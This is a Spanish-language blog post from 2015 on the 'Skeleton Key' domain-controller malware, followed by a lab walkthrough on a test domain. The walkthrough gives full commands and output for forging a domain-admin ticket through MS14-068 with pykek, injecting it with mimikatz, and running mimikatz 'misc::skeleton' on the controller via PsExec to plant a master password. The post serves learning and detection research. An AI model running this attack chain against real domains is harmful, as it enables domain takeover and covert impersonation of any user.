miércoles, 21 de enero de 2015

Skeleton key via Mimikatz

Si todavía no sabes de que va esto de "Skeleton Key" básicamente se trata de un malware identificado por la gente del CTU (Counter Threat Unit) de Dell en uno de sus clientes. El bichito en cuestión se distribuye como una DLL que, una vez lanzada, se encarga de parchear determinadas funciones en el proceso LSASS de un Controlador de dominio con la finalidad de establecer una "contraseña maestra". Simplificando, me autentico como cualquier usuario del dominio utilizando una contraseña que yo he definido y sin levantar sospechas ya que el proceso de autenticación aparece como legítimo y no modifico la contraseña original del usuario, que por tanto no nota nada. Como poco muy ingenioso.

Pero no todo podía ser de color de rosa y ahora toca enumerar las restricciones y problemas que plantea la distribución del malware:

  • Para lanzar la dll y que esta cumpla con su función se ha de utilizar una cuenta de Administrador del dominio previamente comprometida.
  • Dado que la forma de lanzar remotamente la dll se basa en el uso de psexec en el log de los servidores comprometidos se registran los eventos 7045 (instalación del servicio PSEXESVC) y 7036 (inicio y posterior parada del servicio PSEXESVC).
  • El malware únicamente es compatible con versiones x64 de Windows 2003 R2, Windows Server 2008 y Windows Server 2008 R2.
  • Una vez distribuido y en ejecución los controladores de domino experimentan problemas de replicación que sólo se resuelven con un reinicio.
  • El malware no incluye ningún método para garantizar su persistencia por lo que es necesario volverlo a ejecutar manualmente tras un reinicio del sistema.

En el informe publicado por Dell advirtiendo de su descubrimiento se incluyen más datos así como una firma de yara que permite su detección.

Y ahora le llega el turno a Mimikatz

El informe de Dell tiene fecha de publicación del 12 de enero de 2015 y hasta el momento, al menos que yo sepa, no se ha publicado la muestra del malware en cuestión. Lo más parecido, y con lo que vamos a jugar un poco, es la implementación particular de la idea que Benjamin Delpy ha incluido en su versátil herramienta mimikatz.

El 17 de enero Benjami Delpy anunciaba en twitter la liberación de una versión de mimikatz implementando la funcionalidad del malware skeleton key y tan sólo unos días más tarde, el 19 de enero concretamente, daba más detalles de su implentación en el "FIC 2015 – Forum International sur la Cybersécurité" organizado por CECyF. Una máquina este hombre.

No soy el único que ha tenido tiempo de jugar un poco con esta nueva funcionalidad de mimikatz, y de hecho en el blog "Active Directory Security" Sean Metcalf ha publicado sus experiencias y enumerado varios registros de eventos que ayudarán a detectar su uso; yo sólo voy a jugar con el proceso de infección.

Distribución vía MS14-068

El escenario lo componen un controlador de dominio Windows 2008 R2, dc1.testing.lab, recién salido de la caja 'atacado' desde un Windows 8 x86. Para el proceso de distribución he aprovechado el bug MS14-068 mediante el Python Kerberos Exploitation Kit y una cuenta de usuario del dominio con los siguientes datos:
usuario@testing.lab
Contraseña: 1234
SID: S-1-5-21-2560944746-3952809225-1525717160-1106

Para que el proceso funcione correctamente deberemos utilizar el FQDN del controlador de dominio, por lo que deberemos configurar en la máquina atacante como servidor DNS la dirección IP del DC atacado; o eso o generar una entrada estática en el fichero hosts.

Utilizando Pykek generamos un TGT de kerberos con privilegios de Administrador del dominio:
C:\skeleton\pykek>python ms14-068.py -u usuario@testing.lab
-s S-1-5-21-2560944746-3952809225-1525717160-1106 -d dc1.testing.lab
Password:
[+] Building AS-REQ for dc1.testing.lab... Done!
[+] Sending AS-REQ to dc1.testing.lab... Done!
[+] Receiving AS-REP from dc1.testing.lab... Done!
[+] Parsing AS-REP from dc1.testing.lab... Done!
[+] Building TGS-REQ for dc1.testing.lab... Done!
[+] Sending TGS-REQ to dc1.testing.lab... Done!
[+] Receiving TGS-REP from dc1.testing.lab... Done!
[+] Parsing TGS-REP from dc1.testing.lab... Done!
[+] Creating ccache file 'TGT_usuario@testing.lab.ccache'... Done!

C:\skeleton\pykek>dir
El volumen de la unidad C no tiene etiqueta.
El número de serie del volumen es: DE69-173F

Directorio de C:\skeleton\pykek

20/01/2015 18:08 <DIR> .
20/01/2015 18:08 <DIR> ..
20/01/2015 18:08 <DIR> kek
20/01/2015 17:47 6.985 ms14-068.py
20/01/2015 18:08 <DIR> pyasn1
20/01/2015 17:47 2.610 README.md
20/01/2015 18:08 1.114 TGT_usuario@testing.lab.ccache
3 archivos 10.709 bytes
4 dirs 79.031.271.424 bytes libres

Utilizando ahora mimikatz asignamos el ticket obtenido a la sesión del usuario actual, que es un usuario local dado que la máquina ni siquiera pertenece al dominio:
C:\skeleton\pykek>cd ..\mimikatz\Win32

C:\skeleton\mimikatz\Win32>mimikatz.exe "kerberos::ptc ..\..\pykek\TGT_usuario@testing.lab.ccache"
exit

.#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Jan 17 2015 01:24:03)
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 15 modules * * */


mimikatz(commandline) # kerberos::ptc ..\..\pykek\TGT_usuario@testing.lab.ccache

Principal : (01) : usuario ; @ TESTING.LAB

Data 0
Start/End/MaxRenew: 20/01/2015 18:11:22 ; 21/01/2015 4:11:22 ; 27/01/2015 18:11:22
Service Name (01) : krbtgt ; TESTING.LAB ; @ TESTING.LAB
Target Name (01) : krbtgt ; TESTING.LAB ; @ TESTING.LAB
Client Name (01) : usuario ; @ TESTING.LAB
Flags 50a00000 : pre_authent ; renewable ; proxiable ; forwardable ;
Session Key : 0x00000017 - rc4_hmac_nt
ab5d414668160fc0ef190006d54bcddf
Ticket : 0x00000000 - null ; kvno = 2 [...]
* Injecting ticket : OK

mimikatz(commandline) # exit
Bye!

Mapearemos ahora un recurso compartido del controlador de dominio sin necesidad de conocer siquiera una contraseña gracias al ticket asignado en el paso anterior:
C:\skeleton\mimikatz\Win32>net use \\dc1.testing.lab\c$
Se ha completado el comando correctamente.

Utilizando ahora psexec ejecutaremos mimikatz en el servidor remoto para emular el comportamiento de skeleton key:
C:\skeleton\mimikatz\Win32>cd ..\x64

C:\skeleton\mimikatz\x64>PsExec.exe /accepteula \\dc1.testing.lab -c mimikatz.exe
"privilege::debug" "misc::skeleton" exit

PsExec v2.11 - Execute processes remotely
Copyright (C) 2001-2014 Mark Russinovich
Sysinternals - www.sysinternals.com



.#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Jan 17 2015 01:24:17)
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 15 modules * * */


mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # misc::skeleton
[KDC] data
[KDC] struct
[KDC] keys patch OK
[RC4] functions
[RC4] init patch OK
[RC4] decrypt patch OK

mimikatz(commandline) # exit
Bye!
mimikatz.exe exited on dc1.testing.lab with error code 0.

Desconectaremos ahora la unidad de red mapeada para poder lanzar psexec:
C:\skeleton\mimikatz\x64>net use * /delete /yes
Tiene estas conexiones remotas:

\\dc1.testing.lab\c$
Si continúa, se cancelarán las conexiones.

Se ha completado el comando correctamente.

Para comprobar que, efectivamente es posible conectarse como cualquier usuario utilizando la contraseña predeterminada, mimikatz, deberemos reiniciar primero el equipo atacante para eliminar cualquier rastro del ticket kerberos obtenido via pykek. Una vez reiniciado el equipo comprobamos como podemos mapear una unidad de red en el controlador del dominio autenticandonos como Administrador:
C:\Users\javier\Desktop>net use z: \\dc1.testing.lab\c$ mimikatz /user:Administrador@TESTING.LAB
Se ha completado el comando correctamente.

To-do

A partir de aqui lo que se me ha ocurrido para continuar aprendiendo es hacer un volcado de la memoria y jugar un poco con volatility para ver que rastros deja, pero me temo que esto me va a costar más de lo que pensaba ya que el rastro, a priori, no resulta muy obvio.

En breve mas, y mejor, espero.

1 comentario:

Alvaro Mineria dijo...
Este comentario ha sido eliminado por un administrador del blog.